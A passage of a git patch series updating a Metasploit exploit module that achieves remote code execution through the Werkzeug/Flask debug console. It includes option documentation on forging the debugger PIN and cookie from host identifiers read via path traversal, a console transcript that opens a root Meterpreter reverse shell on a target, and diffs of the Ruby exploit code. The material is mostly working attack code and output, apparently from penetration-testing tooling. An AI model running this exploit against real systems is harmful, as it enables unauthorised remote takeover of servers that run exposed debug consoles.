the + stack trace. E.g. `/usr/local/lib/python3.12/site-packages/flask/app.py`*. + **Note that the file extension may need to be changed to .pyc** + - `MACADDRESS`: The MAC address of the system that the application is running + on. *If you have path traversal on Linux, this could be read from + `/sys/class/net/eth0/`* + - `MACHINEID`: + - On Linux: *If you have path traversal on Linux, this could be read from + /etc/machine-id, or if that doesn't exist, + /proc/sys/kernel/random/boot_id.* + - On Windows: This is a UUID stored in the registry at + `HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid`. + - On macOS,: This is the UTF-8 encoded serial number of the system + (lower-case hexadecimal), padded to 32 characters. E.g. `N0TAREALSERIAL` + becomes + `4e3054415245414c53455249414c000000000000000000000000000000000000`. This + can be retrieved with the following command + `ioreg -c IOPlatformExpertDevice | grep \"serial-number\"` + - `MODULENAME`: Name of the application module. Often `flask.app` or + `werkzeug.debug` + - `SERVICEUSER`: User account name that the service is running under. + [This may be an empty string ('') in some cases](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L172) + . *If you have path traversal on Linux, you may be able to read this from + `/proc/self/environ`* +- `known-cookie`: Cookie provided by user. **When this mode is used, the + following additional option must be set:** + - `COOKIE`: The HTTP cookie to use for authentication to the debugger. +- `known-PIN`: **Does not bypass PIN-locked applications.** PIN provided by + user. **When this mode is used, the following additional option must be set:** + - `PIN`: Known 6 digit PIN to use for authentication. This can be set to a + custom value by the application developer, in which case generating the pin + won't work. *However, if you have path traversal, you may be able to + retrieve the PIN by reading the application source code, or on Linux by + reading `/proc/self/environ` to obtain the value. of the + `WERKZEUG_DEBUG_PIN` environment variable. It may also be possible to obtain + the PIN by accessing the logging that Werkzeug prints to stdout*. +- `none`: For applications that don't require authentication. I.e. Werkzeug + version 0.10 or lower or PIN authentication has been disabled by the + application developer. + +### `METHOD` + +HTTP method used to access debugger or console. This is typically GET if the +`TARGETURI` is `/console` but it may be necessary to use other methods to +trigger the debugger. Valid values are: `GET`, `HEAD`, `POST`, `PUT`, `DELETE`, +`OPTIONS`, `TRACE` and `PATCH`. **When `METHOD` is `POST`, `PUT` or `PATCH` the +following additional option may be set:** + +- `REQUESTBODY`: Body to send in POST/PUT/PATCH request, if required to trigger + the debugger. E.g. invalid form value to raise an exception. **When this is + set the following additional option may be set:** + - `REQUESTCONTENTTYPE`: Request body encoding. Default: + `application/x-www-form-urlencoded` + +### `TARGETURI` + +The path to the console or resource used to trigger the debugger. Default value +is `/console`. + +### `VHOST` + +The value to use in the HTTP `Host` header. It may be necessary to set this to +`127.0.0.1` or `localhost` if the target Werkzeug version is 3.0.3 or later, +however this may hamper connectivity if the `Host` header is validated before +the request is passed to the application. + +### `TARGET` + +Determines which algorithm the exploit module will use to generate a pin and +cookie. Valid values are: + +- `0`: Werkzeug > 1.0.1 (Flask > 1.1.4) +- `1`: Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4) +- `2`: Werkzeug 0.11 - 0.11.5 (Flask < 1.0) +- `3`: Werkzeug < 0.11 (Flask < 1.0) ## Scenarios Example utilizing the previously mentioned sample app listed above. ``` -msf > use exploit/multi/http/werkzeug_debug_rce -msf exploit(werkzeug_debug_rce) > set rport 8081 -rport => 8081 -msf exploit(werkzeug_debug_rce) > set rhost 10.108.106.201 -rhost => 10.108.106.201 -msf exploit(werkzeug_debug_rce) > check -[+] 10.108.106.201:8081 - The target is vulnerable. -msf exploit(werkzeug_debug_rce) > set payload python/meterpreter/reverse_tcp -payload => python/meterpreter/reverse_tcp -msf exploit(werkzeug_debug_rce) > set lhost 10.108.106.121 -lhost => 10.108.106.121 -msf exploit(werkzeug_debug_rce) > exploit +$ msfconsole -q +msf6 > use exploit/multi/http/werkzeug_debug_rce +[*] No payload configured, defaulting to python/meterpreter/reverse_tcp +msf6 exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5 +RHOSTS => 192.168.23.5 +msf6 exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117 +LHOST => 192.168.23.117 +msf6 exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1 +VHOST => 127.0.0.1 +msf6 exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04 +MACADDRESS => 02:42:ac:12:00:04 +msf6 exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9c8d-2dc2041c75f8 +MACHINEID => 8d496199-a25e-4340-9c8d-2dc2041c75f8 +msf6 exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py +FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py +msf6 exploit(multi/http/werkzeug_debug_rce) > FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py +[-] Unknown command: FLASKPATH. Run the help command for more details. +msf6 exploit(multi/http/werkzeug_debug_rce) > run -[*] Started reverse handler on 10.108.106.121:4444 -[*] Sending stage (25277 bytes) to 10.108.106.201 -[*] Meterpreter session 2 opened (10.108.106.121:4444 -> 10.108.106.201:36720) at 2015-07-09 19:02:52 -0400 +[*] Started reverse TCP handler on 192.168.23.117:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[*] Generated authentication PIN: 105-774-671 +[*] Generated authentication cookie: __wzdb0f3242143622dccd6f0=9999999999|3037ec0e9248 +[*] Sending stage (24772 bytes) to 192.168.23.5 +[*] Meterpreter session 1 opened (192.168.23.117:4444 -> 192.168.23.5:62474) at 2024-10-06 19:34:20 +0100 meterpreter > getpid -Current pid: 13034 +Current pid: 38 meterpreter > getuid Server username: root meterpreter > sysinfo -Computer : werkzeug -OS : Linux 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt11-1 (2015-05-24) -Architecture : x86_64 -Meterpreter : python/python +Computer : 3eb759665d5f +OS : Linux 6.6.51-0-virt #1-Alpine SMP PREEMPT_DYNAMIC 2024-09-12 12:56:22 +Architecture : aarch64 +System Language : C +Meterpreter : python/linux meterpreter > shell -Process 13037 created. -Channel 0 created. -/bin/sh: 0: can't access tty; job control turned off -# ls -app.py app.pyc werkzeug -# exit -meterpreter > exit -[*] Shutting down Meterpreter... +Process 41 created. +Channel 1 created. + +ls +app.py +bin +boot +dev +etc +home +lib +media +mnt +opt +proc +report.txt +root +run +sbin +srv +sys +tmp +usr +var +exit ``` + +## Credits + +- 2015 - h00die (mike[at]shorebreaksecurity.com) + - Initial module targetting versions 0.10 and older of Werkzeug that do not require authentication. +- 2024 - Graeme Robinson (metasploit[at]grobinson.me/@GraSec) + - Support up to and including version 3.0.3 of Werkzeug via 3 different authentication mechanisms: + - Generated Cookie (bypasses PIN-lock) + - Known-Cookie (bypasses PIN-lock) + - Known-PIN From 8ad38f1d1aa79434ff3d4b76f08fa0f873636117 Mon Sep 17 00:00:00 2001 From: Graeme Robinson Date: Sun, 6 Oct 2024 20:43:25 +0100 Subject: [PATCH 03/10] Appease the linter when checking werkzeug_debug_rce.rb --- modules/exploits/multi/http/werkzeug_debug_rce.rb | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index 2e0ef84a9f6c..a868c3e4d3af 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -178,19 +178,15 @@ def config_valid? end # Check for valid MAC address unless MAC_PATTERN =~ datastore['MACADDRESS'] - fail_with( - Failure::BadConfig, "#{datastore['MACADDRESS']} is not a valid MAC address" - ) + fail_with(Failure::BadConfig, "#{datastore['MACADDRESS']} is not a valid MAC address") end end # Check that requestbody is not specified if method doesn't support it return unless datastore['REQUESTBODY'] && !METHODS_WITH_BODY.include?(datastore['METHOD']) - fail_with( - Failure::BadConfig, - "REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body" - ) + fail_with(Failure::BadConfig, + "REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body") end # Retrieve secret and frame @@ -230,8 +226,8 @@ def cookies(secret) ) finish = Process.clock_gettime(Process::CLOCK_MONOTONIC) unless res - print_error "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}" - fail_with(Failure::TimeoutExpired) + fail_with(Failure::TimeoutExpired, + "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}") end if res.get_json_document['exhausted'] fail_with(Failure::NoAccess, From 255ab5c3ffd2c2f8bf49c06ed0aa2f0db0c4326f Mon Sep 17 00:00:00 2001 From: Graeme Robinson Date: Mon, 7 Oct 2024 10:31:03 +0100 Subject: [PATCH 04/10] Change some messages from vprint to print werkzeug_debug_rce.rb --- modules/exploits/multi/http/werkzeug_debug_rce.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index a868c3e4d3af..a4ea4ef2d27a 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -309,21 +309,21 @@ def check return Exploit::CheckCode::Unknown end unless match[:evalex_enabled] - vprint_error 'Debugger does not allow code execution' + print_error 'Debugger does not allow code execution' return Exploit::CheckCode::Safe # blud end - vprint_status 'Debugger allows code execution' + print_status 'Debugger allows code execution' if match[:pin_required] - vprint_warning 'Debugger requires authentication' + print_warning 'Debugger requires authentication' return Exploit::CheckCode::Detected end - vprint_status 'Debugger does not require authentication' + print_status 'Debugger does not require authentication' # Now check whether code execution is possible by evaluating '1' unless check_code_exec(match[:secret], match[:frame] || 0) vprint_error 'Attempted code execution failed' Exploit::CheckCode::Safe end - vprint_status 'Code execution was successful' + print_status 'Code execution was successful' Exploit::CheckCode::Vulnerable end From 3e422c235bc2b480641011034cafc8cc509bfcd6 Mon Sep 17 00:00:00 2001 From: Graeme Robinson Date: Mon, 7 Oct 2024 10:59:29 +0100 Subject: [PATCH 05/10] Use random number to check for code execution in werkzeug_debug_rce.rb Co-authored-by: Julien Voisin --- modules/exploits/multi/http/werkzeug_debug_rce.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index a4ea4ef2d27a..c429715ecf4e 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -298,7 +298,8 @@ def execute_python(cmd, secret, frame, cookies = '') end def check_code_exec(secret, frame, cookies = '') - execute_python(1, secret, frame, cookies).body.start_with? ">>> 1\n" + canary = rand() + execute_python(canary, secret, frame, cookies).body.start_with? ">>> #{canary}" end def check From f3bb48f2773a11f8017dba9a6737e7fc63088018 Mon Sep 17 00:00:00 2001 From: Graeme Robinson Date: Mon, 7 Oct 2024 11:56:16 +0100 Subject: [PATCH 06/10] Update werkzeug_debug_rce documentation to include new logged messages --- .../modules/exploit/multi/http/werkzeug_debug_rce.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md index ace0d35cf95f..04a5a83a9f6b 100644 --- a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md +++ b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md @@ -556,12 +556,12 @@ msf6 exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9 MACHINEID => 8d496199-a25e-4340-9c8d-2dc2041c75f8 msf6 exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py -msf6 exploit(multi/http/werkzeug_debug_rce) > FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py -[-] Unknown command: FLASKPATH. Run the help command for more details. msf6 exploit(multi/http/werkzeug_debug_rce) > run -[*] Started reverse TCP handler on 192.168.23.117:4444 +[*] Started reverse TCP handler on 192.168.23.117:4444 [*] Running automatic check ("set AutoCheck false" to disable) +[*] Debugger allows code execution +[!] Debugger requires authentication [!] The service is running, but could not be validated. [*] Generated authentication PIN: 105-774-671 [*] Generated authentication cookie: __wzdb0f3242143622dccd6f0=9999999999|3037ec0e9248 From f17fc282bcbf84bb74381ea83147e35a325ac14e Mon Sep 17 00:00:00 2001 From: Graeme Robinson Date: Sun, 13 Oct 2024 00:19:50 +0100 Subject: [PATCH 07/10] Made suggested changes to werkzeug_debug_rce.rb --- .../exploits/multi/http/werkzeug_debug_rce.rb | 57 +++++++++---------- 1 file changed, 26 insertions(+), 31 deletions(-) diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index c429715ecf4e..0ea3173c1e8b 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -67,7 +67,7 @@ def initialize(info = {}) ], 'Arch' => ARCH_PYTHON, 'DefaultTarget' => 0, - 'DisclosureDate' => 'Jun 28, 2015', + 'DisclosureDate' => '2015-06-28', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], @@ -149,10 +149,10 @@ def all_generation_values_set? datastore['MACADDRESS'] && datastore['MACHINEID'] && datastore['CGROUP'] end - def config_valid? + def config_invalid? # Check that target supports selected authentication mode if datastore['TARGET'] == 3 && datastore['AUTHMODE'] != 'none' - fail_with(Failure::BadConfig, + return CheckCode::Unknown( "AUTHMODE is set to '#{datastore['AUTHMODE']}', but TARGET '#{datastore['TARGET']}' does not " \ "require/support authentication. Change TARGET or set AUTHMODE to 'none'") end @@ -160,32 +160,32 @@ def config_valid? case datastore['AUTHMODE'] when 'known-cookie' unless COOKIE_PATTERN =~ datastore['COOKIE'] - fail_with(Failure::BadConfig, + return CheckCode::Unknown( 'AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. ' \ "'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'") end when 'known-PIN' unless PIN_PATTERN =~ datastore['PIN'] - fail_with(Failure::BadConfig, + return CheckCode::Unknown( 'AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens') end when 'generated-cookie' # Check that *all* values used to generate cookie & pin are set unless all_generation_values_set? - fail_with(Failure::BadConfig, + return CheckCode::Unknown( "AUTHMODE is set to #{datastore['AUTHMODE']}, so ALL of the following must be set: " \ 'SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP') # Alphabetise end # Check for valid MAC address unless MAC_PATTERN =~ datastore['MACADDRESS'] - fail_with(Failure::BadConfig, "#{datastore['MACADDRESS']} is not a valid MAC address") + return CheckCode::Unknown("#{datastore['MACADDRESS']} is not a valid MAC address") end end # Check that requestbody is not specified if method doesn't support it return unless datastore['REQUESTBODY'] && !METHODS_WITH_BODY.include?(datastore['METHOD']) - fail_with(Failure::BadConfig, + return CheckCode::Unknown( "REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body") end @@ -216,15 +216,15 @@ def secret_and_frame # Authenticate with PIN to retrieve cookie def cookies(secret) - start = Process.clock_gettime(Process::CLOCK_MONOTONIC) - res = send_request_cgi( - 'uri' => normalize_uri(target_uri), - 'vars_get' => { '__debugger__' => 'yes', - 'cmd' => 'pinauth', - 'pin' => datastore['PIN'], - 's' => secret } - ) - finish = Process.clock_gettime(Process::CLOCK_MONOTONIC) + res, duration = Rex::Stopwatch.elapsed_time do + send_request_cgi( + 'uri' => normalize_uri(target_uri), + 'vars_get' => { '__debugger__' => 'yes', + 'cmd' => 'pinauth', + 'pin' => datastore['PIN'], + 's' => secret } + ) + end unless res fail_with(Failure::TimeoutExpired, "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}") @@ -235,7 +235,6 @@ def cookies(secret) 'exhausted. The remote application must be restarted to re-enable PIN authentication.') end unless COOKIE_PATTERN =~ res.get_cookies - duration = (finish - start).round(1) attempts_text = duration < 5 ? 'at least' : 'fewer than' fail_with(Failure::NoAccess, "Failed to authenticate using PIN: #{datastore['PIN']}. However, the application did not report " \ @@ -303,29 +302,25 @@ def check_code_exec(secret, frame, cookies = '') end def check - config_valid? + c = config_invalid? + return c if c match = secret_and_frame unless match - print_error 'HTTP response not recognised as Werkzeug' - return Exploit::CheckCode::Unknown + return CheckCode::Unknown('HTTP response not recognised as Werkzeug') end unless match[:evalex_enabled] - print_error 'Debugger does not allow code execution' - return Exploit::CheckCode::Safe # blud + return CheckCode::Safe('Debugger does not allow code execution') end print_status 'Debugger allows code execution' if match[:pin_required] - print_warning 'Debugger requires authentication' - return Exploit::CheckCode::Detected + return CheckCode::Detected('Debugger requires authentication') end print_status 'Debugger does not require authentication' - # Now check whether code execution is possible by evaluating '1' + # Now check whether code execution is possible by evaluating something unless check_code_exec(match[:secret], match[:frame] || 0) - vprint_error 'Attempted code execution failed' - Exploit::CheckCode::Safe + return CheckCode::Safe('Attempted code execution failed') end - print_status 'Code execution was successful' - Exploit::CheckCode::Vulnerable + CheckCode::Vulnerable('Code execution was successful') end def exploit @@ -345,7 +340,7 @@ def exploit cookies = generated_cookie end - # Check whether code execution is possible by evaluating '1' + # Check whether code execution is possible by evaluating something unless check_code_exec(match[:secret], match[:frame] || 0, cookies) fail_with(Failure::NoAccess, 'Response indicates that code execution failed') end From 3a79c6d70ff24d3f73006dcacb5bb74a8be9d08f Mon Sep 17 00:00:00 2001 From: Graeme Robinson Date: Sun, 13 Oct 2024 22:36:35 +0100 Subject: [PATCH 08/10] rubocop -a on werkzeug_debug_rce.rb --- .../exploits/multi/http/werkzeug_debug_rce.rb | 335 ++++++++++-------- 1 file changed, 192 insertions(+), 143 deletions(-) diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index 0ea3173c1e8b..54ae5f896c9b 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -15,131 +15,169 @@ class MetasploitModule < Msf::Exploit::Remote PIN_PATTERN = /^[[:digit:]-]+$/.freeze def initialize(info = {}) - super(update_info( - info, - 'Name' => 'Pallete Projects Werkzeug Debugger Remote Code Execution', - 'Description' => 'This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug ' \ - 'is included with Flask, but not enabled by default. It is also included in other ' \ - 'projects, for example the RunServerPlus extension for Django. It may also be used ' \ - "alone.\n\n" \ - 'The documentation states the following: "The debugger must never be used on production ' \ - 'machines. We cannot stress this enough. Do not enable the debugger in production." Of ' \ - "course this doesn't prevent developers from mistakenly enabling it in production!\n\n" \ - "Tested against the following Werkzeug versions:\n" \ - "- 3.0.3 on Debian 12, Windows 11 and macOS 14.6\n" \ - "- 1.1.4 on Debian 12\n" \ - "- 1.0.1 on Debian 12\n" \ - "- 0.11.5 on Debian 12\n" \ - '- 0.10 on Debian 12', - 'Author' => ['h00die ', - 'Graeme Robinson /@GraSec'], - 'References' => [ - ['URL', 'https://werkzeug.palletsprojects.com/debug/#enabling-the-debugger'], - ['URL', 'https://flask.palletsprojects.com/debugging/#the-built-in-debugger'], - ['URL', - 'https://web.archive.org/web/20150217044248/http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'], - ['URL', - 'https://web.archive.org/web/20151124061830/http://werkzeug.pocoo.org/docs/0.11/debug/#enabling-the-debugger'], - ['URL', - 'https://github.com/pallets/werkzeug/commit/11ba286a1b907110a2d36f5c05740f239bc7deed?diff=unified&' \ - 'w=0#diff-83867b1c4c9b75c728654ed284dc98f7c8d4e8bd682fc31b977d122dd045178a'] - ], - 'License' => MSF_LICENSE, - 'Platform' => ['python'], - 'Targets' => [ - # pip install werkzeug==3.0.3 flask==3.0.3 - ['Werkzeug > 1.0.1 (Flask > 1.1.4)', - { digest: Digest::SHA1, - digest_inputs: :new, - salt: ' added salt' }], - # pip install werkzeug==1.0.1 flask==1.1.4 - ['Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)', - { digest: Digest::MD5, - digest_inputs: :new, - salt: 'shittysalt' }], - # pip install werkzeug==0.11.5 flask==0.12.5 - ['Werkzeug 0.11 - 0.11.5 (Flask < 1.0)', - { digest: Digest::MD5, - digest_inputs: :old, - salt: 'shittysalt' }], - # pip install werkzeug==0.10 flask==0.12.5 - ['Werkzeug < 0.11 (Flask < 1.0)', {}] # No authentication required in this version - ], - 'Arch' => ARCH_PYTHON, - 'DefaultTarget' => 0, - 'DisclosureDate' => '2015-06-28', - 'Notes' => { - 'Stability' => [CRASH_SAFE], - 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS] - } - )) + super( + update_info( + info, + 'Name' => 'Pallete Projects Werkzeug Debugger Remote Code Execution', + 'Description' => 'This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug ' \ + 'is included with Flask, but not enabled by default. It is also included in other ' \ + 'projects, for example the RunServerPlus extension for Django. It may also be used ' \ + "alone.\n\n" \ + 'The documentation states the following: "The debugger must never be used on production ' \ + 'machines. We cannot stress this enough. Do not enable the debugger in production." Of ' \ + "course this doesn't prevent developers from mistakenly enabling it in production!\n\n" \ + "Tested against the following Werkzeug versions:\n" \ + "- 3.0.3 on Debian 12, Windows 11 and macOS 14.6\n" \ + "- 1.1.4 on Debian 12\n" \ + "- 1.0.1 on Debian 12\n" \ + "- 0.11.5 on Debian 12\n" \ + '- 0.10 on Debian 12', + 'Author' => [ + 'h00die ', + 'Graeme Robinson /@GraSec' + ], + 'References' => [ + ['URL', 'https://werkzeug.palletsprojects.com/debug/#enabling-the-debugger'], + ['URL', 'https://flask.palletsprojects.com/debugging/#the-built-in-debugger'], + [ + 'URL', + 'https://web.archive.org/web/20150217044248/http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger' + ], + [ + 'URL', + 'https://web.archive.org/web/20151124061830/http://werkzeug.pocoo.org/docs/0.11/debug/#enabling-the-debugger' + ], + [ + 'URL', + 'https://github.com/pallets/werkzeug/commit/11ba286a1b907110a2d36f5c05740f239bc7deed?diff=unified&' \ + 'w=0#diff-83867b1c4c9b75c728654ed284dc98f7c8d4e8bd682fc31b977d122dd045178a' + ] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['python'], + 'Targets' => [ + # pip install werkzeug==3.0.3 flask==3.0.3 + [ + 'Werkzeug > 1.0.1 (Flask > 1.1.4)', + { + digest: Digest::SHA1, + digest_inputs: :new, + salt: ' added salt' + } + ], + # pip install werkzeug==1.0.1 flask==1.1.4 + [ + 'Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)', + { + digest: Digest::MD5, + digest_inputs: :new, + salt: 'shittysalt' + } + ], + # pip install werkzeug==0.11.5 flask==0.12.5 + [ + 'Werkzeug 0.11 - 0.11.5 (Flask < 1.0)', + { + digest: Digest::MD5, + digest_inputs: :old, + salt: 'shittysalt' + } + ], + # pip install werkzeug==0.10 flask==0.12.5 + ['Werkzeug < 0.11 (Flask < 1.0)', {}] # No authentication required in this version + ], + 'Arch' => ARCH_PYTHON, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2015-06-28', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS] + } + ) + ) register_options( - [OptEnum.new('AUTHMODE', [true, 'Authentication mode', 'generated-cookie', - %w[generated-cookie known-cookie known-PIN none]]), - OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', %w[GET HEAD POST PUT DELETE OPTIONS TRACE PATCH]]), - OptString.new('TARGETURI', [true, 'URI to the console or debugger', '/console']), + [ + OptEnum.new('AUTHMODE', [ + true, 'Authentication mode', 'generated-cookie', + %w[generated-cookie known-cookie known-PIN none] + ]), + OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', %w[GET HEAD POST PUT DELETE OPTIONS TRACE PATCH]]), + OptString.new('TARGETURI', [true, 'URI to the console or debugger', '/console']), - # Options for using a known cookie/PIN - OptString.new('PIN', [false, 'PIN to use for authentication. This can be set to a custom value by the ' \ - "application developer, in which case generating the pin won't work, but if you" \ - 'have path traversal, you may be able to retrieve this pin by reading the ' \ - 'application source code, or, on Linux by reading /proc/self/environ to obtain ' \ - 'the value of the WERKZEUG_DEBUG_PIN environment variable', nil], - conditions: %w[AUTHMODE == known-PIN]), - OptString.new('COOKIE', [false, 'Cookie to use for authentication', nil], - conditions: %w[AUTHMODE == known-cookie]), + # Options for using a known cookie/PIN + OptString.new('PIN', [ + false, 'PIN to use for authentication. This can be set to a custom value by the ' \ + "application developer, in which case generating the pin won't work, but if you" \ + 'have path traversal, you may be able to retrieve this pin by reading the ' \ + 'application source code, or, on Linux by reading /proc/self/environ to obtain ' \ + 'the value of the WERKZEUG_DEBUG_PIN environment variable', nil + ], + conditions: %w[AUTHMODE == known-PIN]), + OptString.new('COOKIE', [false, 'Cookie to use for authentication', nil], + conditions: %w[AUTHMODE == known-cookie]), - # Options for generating cookie/PIN - OptString.new('APPNAME', [false, 'Name of the app. Often Flask, DebuggedApplication or wsgi_app', 'Flask'], - conditions: %w[AUTHMODE == generated-cookie]), - # https://stackoverflow.com/questions/69002675/on-debian-11-bullseye-proc-self-cgroup-inside-a-docker-container-does-not-sho - # https://stackoverflow.com/questions/68816329/how-to-get-docker-container-id-from-within-the-container-with-cgroup-v2 - OptString.new('CGROUP', [false, - "Control group. This may be an empty string (''), for example if the OS running the " \ - 'app is Linux and supports cgroup v2, or the OS is not Linux. If you have path ' \ - 'traversal on Linux, this could be read from /proc/self/cgroup', - ''], conditions: %w[AUTHMODE == generated-cookie]), - OptString.new('FLASKPATH', [false, - 'Path to (and including) site-packages/flask/app.py. If you have triggered the ' \ - 'debugger via an exception, it will be at the top of the stack trace. E.g. ' \ - '/usr/local/lib/python3.12/site-packages/flask/app.py (the file extension may ' \ - 'need to be changed to .pyc)', ''], - conditions: %w[AUTHMODE == generated-cookie]), - # https://learn.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidcreatesequential - OptString.new('MACADDRESS', [false, - 'MAC address of the system that the service is running on. If you have path ' \ - 'traversal on Linux, this could be read from /sys/class/net/eth0/address.', nil], - conditions: %w[AUTHMODE == generated-cookie]), - OptString.new('MACHINEID', [false, - 'If you have path traversal on Linux, this could be read from /etc/machine-id, or ' \ - "if that doesn't exist, /proc/sys/kernel/random/boot_id. On Windows it is a UUID " \ - 'stored in the registry at HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid. On ' \ - 'macOS, this is the UTF-8 encoded serial number of the system (lower-case ' \ - 'hexadecimal), padded to 32 characters. E.g. N0TAREALSERIAL becomes ' \ - '4e3054415245414c53455249414c000000000000000000000000000000000000. This can be ' \ - "retrieved with the following command 'ioreg -c IOPlatformExpertDevice | grep " \ - '\"serial-number\"', nil], - conditions: %w[AUTHMODE == generated-cookie]), - OptString.new('MODULENAME', [false, 'Name of the module. Often flask.app or werkzeug.debug', 'flask.app'], - conditions: %w[AUTHMODE == generated-cookie]), - OptString.new('SERVICEUSER', [false, - 'User account name that the service is running under. If you have path ' \ - 'traversal on Linux, you may be able to read this from /proc/self/environ', - 'root'], - conditions: %w[AUTHMODE == generated-cookie]), + # Options for generating cookie/PIN + OptString.new('APPNAME', [false, 'Name of the app. Often Flask, DebuggedApplication or wsgi_app', 'Flask'], + conditions: %w[AUTHMODE == generated-cookie]), + # https://stackoverflow.com/questions/69002675/on-debian-11-bullseye-proc-self-cgroup-inside-a-docker-container-does-not-sho + # https://stackoverflow.com/questions/68816329/how-to-get-docker-container-id-from-within-the-container-with-cgroup-v2 + OptString.new('CGROUP', [ + false, + "Control group. This may be an empty string (''), for example if the OS running the " \ + 'app is Linux and supports cgroup v2, or the OS is not Linux. If you have path ' \ + 'traversal on Linux, this could be read from /proc/self/cgroup', + '' + ], conditions: %w[AUTHMODE == generated-cookie]), + OptString.new('FLASKPATH', [ + false, + 'Path to (and including) site-packages/flask/app.py. If you have triggered the ' \ + 'debugger via an exception, it will be at the top of the stack trace. E.g. ' \ + '/usr/local/lib/python3.12/site-packages/flask/app.py (the file extension may ' \ + 'need to be changed to .pyc)', '' + ], + conditions: %w[AUTHMODE == generated-cookie]), + # https://learn.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidcreatesequential + OptString.new('MACADDRESS', [ + false, + 'MAC address of the system that the service is running on. If you have path ' \ + 'traversal on Linux, this could be read from /sys/class/net/eth0/address.', nil + ], + conditions: %w[AUTHMODE == generated-cookie]), + OptString.new('MACHINEID', [ + false, + 'If you have path traversal on Linux, this could be read from /etc/machine-id, or ' \ + "if that doesn't exist, /proc/sys/kernel/random/boot_id. On Windows it is a UUID " \ + 'stored in the registry at HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid. On ' \ + 'macOS, this is the UTF-8 encoded serial number of the system (lower-case ' \ + 'hexadecimal), padded to 32 characters. E.g. N0TAREALSERIAL becomes ' \ + '4e3054415245414c53455249414c000000000000000000000000000000000000. This can be ' \ + "retrieved with the following command 'ioreg -c IOPlatformExpertDevice | grep " \ + '\"serial-number\"', nil + ], + conditions: %w[AUTHMODE == generated-cookie]), + OptString.new('MODULENAME', [false, 'Name of the module. Often flask.app or 